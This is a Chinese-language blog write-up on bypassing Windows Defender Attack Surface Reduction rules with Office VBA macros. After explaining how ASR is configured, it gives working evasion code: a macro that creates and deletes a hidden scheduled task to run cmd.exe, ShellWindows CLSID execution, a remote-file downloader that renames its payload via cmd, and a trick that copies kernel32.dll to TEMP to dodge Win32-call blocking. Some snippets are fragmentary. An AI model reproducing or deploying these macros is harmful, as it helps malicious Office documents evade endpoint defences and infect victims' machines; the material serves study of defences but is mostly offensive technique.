前言
在去年的off大會上安全研究員sevagas做了關於宏繞過ASR的相關議題,本人對此很感興趣,在此記錄一下自己的學習過程。
什麼是ASR
ASR是Attack surface reduction的簡稱,內置與win10的1709版本之後和server2016的版本中,微軟官方給出的解釋是:
「Attack surface reduction is a feature that helps prevent actions and apps that are typically used by
exploit-seeking malware to infect machines.」
大體意思就是通過配置攻擊面減少規則,可以保護計算機不被惡意軟體、代碼攻擊。它主要可以防護下面幾個方面:
Malicious Office documentRogue USB deviceDrive by downloadMalicious APK in store合天網安實驗室體驗相關實驗:Windows server 2016 配置DNS伺服器
配置ASR
我們可以在運行中輸入gpedit.msc打開組策略編輯器,然後在組策略管理編輯器中, 轉到 "計算機配置", 然後單擊 "管理模板",然後以此選擇:
Windows 組件 > Windows Defender 防病毒 > Windows Defender 攻擊防護 > 攻擊面減少
即可看到我們的ASR管理頁面。
ASR規則,有下面三種模式,分別是:
未配置:禁用 ASR 規則阻止:啟用 ASR 規則審核:評估 ASR 規則對您的組織的影響(如果已啟用)分別對應數字0、1、2
我們可以使用下面的powershell命令來設置對應的規則:
Add-MpPreference -AttackSurfaceReductionOnlyExclusions "<fully qualified path or resource>"
也可以使用界面化的操作。ASR的規則使用GUID來標識相關信息,GUID如下:
配置完的ASR規則,可以在下面的註冊表中找到:
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy
Objects\{5B492C3C-4EAB-494D-B7DDF0FB0FD3A17D}Machine\Software\Policies\Microsoft\Windows Defender\Windows
Defender Exploit Guard\ASR\Rules
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit
Guard\ASR\Rules\d1e49aac-8f56-4280-b9ba-993a6d77406c
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy
Objects\{9CC79454-DCDF-422D-A24C81990D96B449}Machine\Software\Policies\Microsoft\Windows Defender\Windows
Defender Exploit Guard\ASR\Rules
配置完之後,在事件管理器中導入以下xml文件:
<QueryList>
<Query Id="0" Path="Microsoft-Windows-Windows Defender/Operational">
<Select Path="Microsoft-Windows-Windows Defender/Operational">*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]</Select>
<Select Path="Microsoft-Windows-Windows Defender/WHC">*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]</Select>
</Query>
</QueryList>
即可在時間查看器內看到我們ASR的響應事件。
bypassASR
基礎繞過
我們先導入以下ASR規則:
我們以下面的這個宏代碼為例:
當我們運行這個宏的時候,就會被ASR規則所攔截
攔截的規則為:
因為我們調用了WScript.Shell這個對象來運行一個程序,所以導致被攔截了,但是,宏中不只這一種方法調用外部程序,我們還可以使用wmi對象,代碼如下:
此時我們再運行宏,我們的攔截規則已經變成了d1e49aac-8f56-4280-b9ba-993a6d77406c 說明D4F940AB-401B-4EFC-AADC-AD5F3C50688A規則我們已經繞過了。
沒關係,除了wmi,我們還可以使用outlook對象進行調用,代碼如下:
此時我們再運行宏,我們的攔截規則已經變成了26190899-1602-49e8-8b27-eb1d0a1ce869 說明d1e49aac-8f56-4280-b9ba-993a6d77406c規則已經被繞過了。
那麼,怎麼全部繞過呢?我們還可以使用計劃任務,在宏裡面提供了Schedule.Service對象,它允許我們創建一個計劃任務出來,代碼如下:
Set service = CreateObject("Schedule.Service")
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = Split("cmd.exe"," ")(0)
Action.HideAppWindow = True
Call rootFolder.RegisterTaskDefinition("System Timer T",taskDefinition,6,,,3)
Application.Wait Now + TimeValue("0:00:01")
Call rootFolder.DeleteTask("System Timer T",0)
執行宏ASR無反應,此時上面的三個規則已被我們繞過。上面我們調用com對象的方法都是使用CreateObject, ShellExecute等除了上面的幾個方法之外我們也可以用com的CLSID進行操作。clsid是微軟標識COM類對象的全局唯一標識符。如果伺服器或容器允許連結到其嵌入式對象,則需要為每種受支持的對象類註冊一個CLSID。默認在
裡面,所以也就是說我們使用clsid的前提也是這個clsid已經在系統中註冊了,而且因為clsid的特性(可執行相應程序操作),所以我們可以用來來bypassASR:
Const ShellWindows = _
"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "calc.exe", Null, "C:\Windows\System32", Null, 0
其他ASR繞過
這個規則是攔截宏在文件系統中保存和執行文件的規則。比如關鍵字「saveas」
繞過也比較簡單:
ub Download(myurl As String , realPath As String)
Dim downloadPath As String
downloadPath = Environ("TEMP") & "\\" & "acqeolw.txt"
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
WinHttpReq.Send
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.SaveToFile downloadPath, 2
oStream.Close
renameCmd = "C:\windows\system32\cmd.exe /C move" & downloadPath & " " & realPath
RDS_DataSpaceExec renameCmd
Application.Wait Now + TimeValue("0:00:01")
End If
End Sub
大體思路就是改變關鍵字,敏感文件更名。
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B
這個規則防止程序對win32的調用:
比如下面的代碼:
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Sub Workbook_Open()
Sleep 2000
WscriptExec "notepad.exe"
End Sub
Sub WscriptExec(targetPath As String)
CreateObject("WScript.Shell").Run targetPath ,1
End Sub
繞過方法跟上面類似,更名、該位置:
Private Declare PtrSafe Sub Sleep Lib "k32.dll" (ByVal dwMilliseconds As Long)
Sub Workbook_Open()
WscriptExec("cmd.exe /C copy /b C:\windows\system32\kernel32.dll " & Environ("TEMP") & "\k32.dll")
CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
Sleep 2000
WscriptExec "notepad.exe"
End Sub
Sub WscriptExec(targetPath As String)
CreateObject("WScript.Shell").Run targetPath ,1
End Sub
D3E037E1-3EB8-44C8-A917-57927947596D
這個是攔截vb或者js執行下面的內容的規則:
不過這個規則有一些問題,總是被asmi攔截,繞過方法如下圖:
或者:
這個是攔截wmi和psexec調用的規則:
不過貌似也有一些問題:
好像只攔截服務。繞過方法:
後話
bypass之路自然不止這些,向UAC、ASMI等的繞過,路還有很長。